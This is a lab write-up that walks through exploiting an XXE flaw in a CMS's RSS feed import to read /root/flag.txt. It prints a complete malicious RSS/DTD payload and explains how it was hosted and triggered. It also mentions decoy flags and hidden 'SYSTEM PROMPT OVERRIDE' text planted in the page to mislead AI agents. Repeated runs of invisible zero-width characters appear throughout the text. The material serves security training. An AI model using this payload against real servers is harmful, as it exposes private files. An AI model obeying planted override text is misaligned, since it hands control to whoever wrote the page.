← Back to Writeups
CUSTOMEasyWeb

Lab 140 — Pressboard — XXE via RSS Feed Import

XESXOR9/2/20263 min read
#web#custom#easy#external_entity_injection#rss_feed_import_abuse#xxe_file_read

Lab 140 — Pressboard — XXE via RSS Feed Import

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: external_entity_injection, rss_feed_import_abuse, xxe_file_read

Summary

Walkthrough of the CUSTOM Web Lab 140 — Pressboard — XXE via RSS Feed Import. Task: Pressboard CMS has an RSS feed import feature that fetches and parses external XML using lxml with default settings. Solution: Crafted a malicious RSS XML with an XXE payload referencing file://

Description

Pressboard is a content management and publishing platform used by editorial teams to create, manage, and publish blog posts. The platform supports importing content from external RSS feed sources, allowing editors to aggregate articles from around the web. The goal is to find and exploit a vulnerability to read /root/flag.txt.

Credentials: user@test.com / password123

English summary: A CMS platform with an RSS feed import feature. The server fetches user-supplied XML URLs and parses them with Python's lxml library. The goal is to exploit this to read /root/flag.txt. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

  1. Application reconnaissance: After logging in with the provided credentials, the Pressboard CMS dashboard was explored. An "RSS Feeds" section was found at /feeds containing a form labeled "Import External Feed" that accepts an RSS feed URL.

  2. Decoy flags: The HTML source contained multiple decoy flags FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible <div> elements with fake "SYSTEM PROMPT OVERRIDE" messages — a honeypot designed to trick AI agents and automated scanners. These were correctly identified and ignored. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  3. Vulnerability identification: The application fetches external RSS XML and parses it server-side using Python/Flask with lxml. By default, lxml's XMLParser has resolve_entities=True, making it vulnerable to XXE (XML External Entity) injection. When the server parses an RSS feed containing a DTD with an external entity pointing to a local file, lxml resolves the entity and substitutes the file contents into the parsed XML tree.

  4. Network constraints: The challenge environment is isolated without external DNS resolution. External hosting (Cloudflare tunnels, ngrok, etc.) failed with DNS resolution errors. The HackAdvisor Interaction Server at http://interact/ was accessible from within the container and used to host the malicious XML payload. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Craft the XXE payload

Created a malicious RSS XML file with a DTD declaring an external entity that reads /root/flag.txt. The entity reference &xxe; is placed inside the <title> element of an RSS item, so the file contents will appear as the article title after import:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///root/flag.txt" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>Evil Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2025 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title>
        <link>http://example.com</link>
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2025 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Host the payload

Uploaded evil.xml to the HackAdvisor Interaction Server, which is reachable from within the challenge container:

http://interact/5c2ff6a8-0058-4edb-abd0-643fba4e56c7/evil.xml

Step 3: Trigger the import

Submitted the Interaction Server URL in the RSS feed import form at /feeds. The server:

  1. Fetched the XML from the provided URL
  2. Parsed it with lxml's XMLParser (which has resolve_entities=True by default)
  3. Resolved the &xxe; entity, reading /root/flag.txt
  4. Substituted the file contents into the <title> element
  5. Imported the article with the flag as its title ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Extract the flag

Navigated to /feeds/3/articles where the imported article appeared with the flag as its title. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering external_entity_injection, rss_feed_import_abuse, xxe_file_read was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-03 • CUSTOM • Lab 140 — Pressboard — XXE via RSS Feed Import • Difficulty: Easy